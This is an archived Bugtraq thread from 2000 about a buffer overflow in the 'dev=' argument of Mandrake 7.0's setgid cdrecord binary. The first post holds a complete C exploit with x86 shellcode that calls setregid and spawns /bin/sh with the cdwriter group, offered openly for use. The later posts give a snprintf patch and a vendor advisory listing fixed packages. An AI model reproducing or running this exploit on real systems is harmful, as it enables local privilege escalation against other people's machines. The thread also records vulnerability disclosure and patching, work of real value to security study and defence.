5144278 2000-05-29  23:43  /93 rader/ Postmaster
Mottagare: Bugtraq (import) <11056>
Ärende: Mandrake 7.0: /usr/bin/cdrecord gid=80 (strike #2)
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: bugtraq@securityfocus.com
X-Accept-Language: en
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <392FEB2E.10996FFD@gsu.linux.org.tr>
Date:         Sat, 27 May 2000 18:35:10 +0300
Reply-To: noir <noir@GSU.LINUX.ORG.TR>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: noir <noir@GSU.LINUX.ORG.TR>
X-To:         bugtraq@securityfocus.com
To: BUGTRAQ@SECURITYFOCUS.COM

U may say gid=80 (cdwriter) is useless but anyways here is the xploit

respect,
noir

PS: wait for strike #3

/*  /usr/bin/cdrecord exploit by noir
 *  x86/Linux
 *  noir@gsu.linux.org.tr | noir@olympos.org
 *  dev= param overflow
 *  this script will get you gid = 80 group cdwriter
 *  tested on Mandrake 7.0 (Air)
 *  greetz: dustdevil, Cronos, moog, still, BlaCK #olympos irc.sourtimes.org
 *
 *
 */

#include <stdio.h>
#include <string.h>

#define NOP             0x90
#define RET     0xbffffe66 //play with argv[1] +10, -10 if default is not ok
int
main(int argc, char *argv[])

{
        unsigned char shell[] =
        "\x31\xc0\xb0\x50\x89\xc3\x89\xc1\xb0\x47\xcd\x80"  /*setregid(80, 80) */
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

        char egg[400];
    char buf[80];
        int i, a;
        long ret = RET;

     if(argv[1])
        ret = ret - atoi(argv[1]);

        memset(egg, NOP, 400);

        for(i = 0  ; i < 80 ; i+=4)
                *(long *) &buf[i] = ret;

        for( i = 300, a = 0; a < strlen(shell) ; i++, a++ )
    egg[i] = shell[a];

        buf[72] = 0x00;
        egg[399] = 0x00;
        printf("eip: 0x%x\n", ret);

        setenv("EGG", egg, 1); execl("/usr/bin/cdrecord",
        "cdrecord","dev=", buf, "/etc/passwd", 0);

}



-------BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGPfreeware 5.0i for non-commercial use

mQENAzfpmZ4AAAEIALEp8z+/6SXHZ2IYf0PQnsyCm+9hfHxlQwWQs6BI5rBQdX9J
GuSqJfGX3w+fS9xl6MWRlvno3Nmnk66QhBgs8LnunmyhtFN03TBfq7mGoBYKb79R
4jX/kjGUg9oUCr+6sqwN3bXp812qKpScxKVMvMCtQissVzDLdA01U1wCFhMg7xBQ
N9lP8tJQ1gtKUnzdsnFgsLkgT3uN+Ek7bQdmwz9a1Xqcq2jxVj5j4yEErQoY3J8m
viV+u8mr/Wo0vWEGwIeCWOKNi6SXGz69Pd9a+JRjYIBnuu33o64aEYoMGbFdslNM
KbWxsXJJAwtw4/JqKt/LosYAFreteGhdA56c7JsABRG0IE5vaXIgU2luIDxub2ly
QGdzdS5saW51eC5vcmcudHI+iQEVAwUQN+mZnnhoXQOenOybAQG16Af8Dk4ZRciA
M1Fwq/fJOQJ/kcdszFHAEVHh1nToC99b+ZeoX2I3AIzrpYl0aGZBWQeGbtG4FZuz
ldWQcvT8jsQ1M1FraAZgKIzukxAxiOJL1twlQJyEDYQ3wwyWIXXqS3c1/jl7PgC1
iv7RQXxxLRn9qFPJQcaJavxRAAVytkDQWocTguRaehtdZsjxLmH2eE7cGQe0N9aL
JJfq0XLl1NjeV5pu5oTkc90/aJ/uHxPOStmPULm5WZP6nCTaQ28lPJBaDV8pLdPo
dSg+kvlvhi+k7UgAdvsETA/I6paFyOLq8lFdORA/GHof89NQX3OyJmDGTknfKtAf
9Ky2NbzA12r6zQ==
=o1d1
-----END PGP PUBLIC KEY BLOCK-----
(5144278) ------------------------------------------(Ombruten)

5151868 2000-06-01  07:12  /26 rader/ Postmaster
Mottagare: Bugtraq (import) <11066>
Ärende: Re : PATCH : cdrecord.
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: bugtraq@securityfocus.com
Message-ID:  <87aeh8ujmt.fsf@alph.dyndns.org>
Date:         Tue, 30 May 2000 17:45:30 +0200
Reply-To: yoann@MANDRAKESOFT.COM
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: yoann@MANDRAKESOFT.COM
X-To:         bugtraq@securityfocus.com
To: BUGTRAQ@SECURITYFOCUS.COM

Made a typo in my first patch, sorry.

--- cdrecord-1.8.1.orig/cdrecord/defaults.c	Sun Apr 16 02:08:58 2000
+++ cdrecord-1.8.1/cdrecord/defaults.c	Tue May 30 13:30:45 2000
@@ -109,7 +109,7 @@
  			return;
  		x++;
  	}
 -	sprintf(dname, "%s=", p);
 +	snprintf(dname, sizeof(dname), "%s=", p);

--
		-- Yoann http://www.mandrakesoft.com/~yoann/
 It is well known that M$ product don't make a free() after a
malloc(), the unix community wish them good luck for their future
developement.
(5151868) ------------------------------------------(Ombruten)

5158039 2000-06-04  02:31  /66 rader/ Postmaster
Mottagare: Bugtraq (import) <11131>
Ärende: [Gael Duval <gduval@mandrakesoft.com>] [Security Announce 
------------------------------------------------------------
             cdrecord
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: BUGTRAQ@SECURITYFOCUS.COM
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.6
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Message-ID:  <m2n1l2k7k6.fsf@vador.mandrakesoft.com>
Date:         Sat, 3 Jun 2000 19:17:45 +0200
Reply-To: Chmouel Boudjnah <chmouel@MANDRAKESOFT.COM>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: Chmouel Boudjnah <chmouel@MANDRAKESOFT.COM>
To: BUGTRAQ@SECURITYFOCUS.COM

-------------------------------------

   Linux-Mandrake Security Update

-------------------------------------

Package: cdrecord

Affected versions: 6.1 7.0

Problem: The linux cdrecord binary is vulnerable to a locally
exploitable buffer overflow attack. When installed on a Linux-Mandrake
distribution, it is by default setgid "cdburner" (which is a group,
gid: 80, that is created for the application). The overflow condition
is the result of no bounds checking on the 'dev=' argument passed to
cdburner at execution time. This vulnerability can be exploited to
execute arbitrary commands with the gid "cdburner".

Please upgrade to:

md5sum: 8f4544f8307019230e74717a9b836051
package: 7.0/RPMS/cdrecord-1.8.1-4mdk.i586.rpm

md5sum: 6daec92096f82bfac45a3346cbdc9cdb
package: 7.0/RPMS/cdrecord-cdda2wav-1.8.1-4mdk.i586.rpm

md5sum: 7dd8e55e2f2879ed84d7b667a09bc77c
package: 7.0/RPMS/cdrecord-devel-1.8.1-4mdk.i586.rpm

md5sum: da6240b73b4238ae554dbf45616319ec
package: 7.0/RPMS/mkisofs-1.12.1-4mdk.i586.rpm

md5sum: 624aebaf07615e3f18471d3ff9af4ede
source package: 7.0/SRPMS/cdrecord-1.8.1-4mdk.src.rpm

To upgrade automatically, use « MandrakeUpdate ». If you want to
upgrade manually, download the updated package from one of our FTP
server mirrors and uprade with "rpm -Uvh package_name". All mirrors
are listed on http://www.mandrake.com/en/ftp.php3 Updated packages are
available in the "updates/" directory.

For example, if you are looking for an updated RPM package for
Mandrake 7.0, look for it in: updates/7.0/RPMS/

Note: we give the md5 sum for each package. It lets you check the
integrity of the downloaded package by running the md5sum command on
the package ("md5sum package.rpm").

--
MandrakeSoft Inc                http://www.mandrakesoft.com
In travel.                                        --Chmouel
(5158039) ------------------------------------------